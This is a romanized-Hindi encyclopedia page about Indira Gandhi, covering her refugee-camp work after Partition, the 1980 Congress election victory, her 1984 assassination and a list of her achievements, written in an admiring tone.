dangagrast kshetroan ka daura

iandira gaandhi ne phir mahatma gaandhi ke adesh ko shirodhary kiya aur dangagrast kshetroan mean donoan samudayoan ke logoan ko samajhane ka prayas karane lagian. vastutah yah atyant jokhim kary tha. pandit neharoo ki beti hone ke karan ativadi unhean nuqasan pahuancha sakate the parantu nirbhik iandira ne dangoan ki ag shaant karane ke lie purazor prayas kie. lekin 15 agast ke bad saanpradayikata apane charam par pahuanch gee. dangoan mean donoan samudayoan ke anaginat log maut ke ghat utar die ge. pakistan se lakhoan sharanarthi dilli a ge the. sharanarthiyoan ke punarvas ka saval bhi utpann ho gaya tha. un bhookhe-pyase ghar se bhage logoan ke lie prathamik avashyakataean bhi zaroori thian. aisi sthiti mean dilli ke kee sthanoan par sharanarthi evan danga pi dit shivir lagae ge the. pandit neharoo ne 17, park rod ke apane bangale par bhi sharanarthi shivir lagae. sharanarthiyoan ke jivan ki buniyadi suvidhaoan ka dhyan rakha ja raha tha. us samay mahatma gaandhi pashchim bangal ke noakhali zile mean jahaan muslimoan ki kee bastiyoan ko jala diya gaya tha. pakistan se ane vali trenoan mean hazaroan hinduoan ki lashean bhi a rahi thian. is karan hindoo akroshit hokar musalamanoan par hamala kar rahe the.

ghar mean sharanarthi shivir

pandit javaharalal neharoo ke bangale mean jo sharanarthi shivir lagae ge the, unaki dekharekh iandira gaandhi hi kar rahi thian. sabhi kamare khali karake sharanarthiyoan ko unamean thahara diya gaya tha aur praangan adi mean bhi tamboo ityadi laga die the taki adhikadhik sharanarthiyoan ko vahaan rakha ja sake. yahaan ki sabhi vyavastha iandira gaandhi dvara dekhi ja rahi thi. aantarim sarakar ke gathan ke sath pandit neharoo karyavahak pradhanamantri bana die the. 26 janavari, 1950 ko bharat ka sanvidhan bhi lagoo ho gaya. bharat ek ganataantrik desh bana aur pradhanamantri neharoo ki sakriyata kafi adhik badh gee. is samay neharooji ka nivas trimoorti bhavan hi tha. samay-samay par vibhinn deshoan ke agantuk trimoorti bhavan mean hi neharooji ke pas ate the. unake svagat ke sabhi iantazam iandira gaandhi dvara kie jate the. sath hi sath umradaraz ho rahe pita ki avashyakataoan ko bhi iandira dekhati thian. [[chitr:Radhakrishnan-Indira-Gandhi-Kamaraj.jpg|thumb|right|250px|d aau. sarvapalli radhakrishnan, iandira gaandhi evan kumarasvami kamaraj]]

kaangres parti ki sarakar

abhi tin varsh bhi poorn nahian hue the ki janata parti mean dararean p d geean aur desh ko madhyavadhi chunav ka bhar jhelana p da. iandira gaandhi ne desh mean ghoom-ghoomakar chunav prachar ke dauran apatakal ke lie sharmiandagi ka ijahar kiya aur kam karane vali sudridh sarakar ka nara diya. logoan ko yah nara kafi pasand aya aur chunav ke bad natijoan ne yah pramanit bhi kar diya. iandira kaangres ko 592 mean se 353 sitean prapt hueean aur spasht bahumat ke karan keandr mean inaki sarakar bani. iandira gaandhi punah pradhanamantri ban geean. is prakar 34 mahinoan ke bad vah satta par dobara qabij hueean. janata parti ne 1977 mean satta mean ane ke bad kee rajyoan ki kaangres sarakar ko barkhast kar diya tha. us samay usane yah tark diya ki janata ka rujhan janata parti ke sath hai, atah ne chunav hone chahie. iandira gaandhi ne satta mean ane ke bad janata parti dvara aranbh ki gee paripati par chalakar un pradeshoan ki sarakaroan ko barkhast kar diya jahaan janata parti tatha vipaksh ka shasan tha. bad mean hue in rajyoan ke chunavoan mean kaangres ne abhootapoorv saphalata prapt ki. 22 rajyoan mean se 15 rajyoan mean kaangres parti ki sarakar ban gee. yah chunav joon 1980 mean sanpann hue the.

mrityu

svarn mandir par hamale ke pratikar mean paanch mahine ke bad hi 31 aktoobar 1984 ko shrimati gaandhi ke avas par tainat unake do sikkh aangarakshakoan ne goli marakar unaki hatya kar di. bharat ke jitane bhi pradhanamantri hue haian, un sabhi ki anek visheshataean ho sakati haian, lekin iandira gaandhi ke roop mean jo pradhanamantri bharat bhoomi ko prapt hua, vaisa pradhanamantri abhi tak doosara nahian hua hai kyoanki ek pradhanamantri ke roop mean unhoanne vibhinn chunautiyoan ka muqabala karane mean saphalata prapt ki. yuddh ho, vipaksh ki galatiyaan hoan, kootaniti ka aantarrashtriy maidan ho athava desh ki koee samasya ho- iandira gaandhi ne aksar svayan ko saphal sabit kiya. iandira gaandhi, neharoo ke dvara shuroo ki gee audyogik vikas ki arddh samajavadi nitiyoan par qayam rahian. unhoanne soviyat sangh ke sath nazadiki sambandh qayam kie aur pakistan-bharat vivad ke dauran samarthan ke lie usi par ashrit rahian. jinhoanne iandira gaandhi ke pradhanamantritv kal ko dekha hai, ve log yah manate haian ki iandira gaandhi mean apar sahas, nirnay shakti aur dhairy tha.

upalabdhiyaan

  • baiankoan ka rashtriyakaran
  • baangla desh ko svatantr karana
  • nirdhan logoan ke utthan ke lie ayojit 20 sootriy karyakram
  • gut nirapeksh andolan ki adhyaksha
  • privipars samapti
age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

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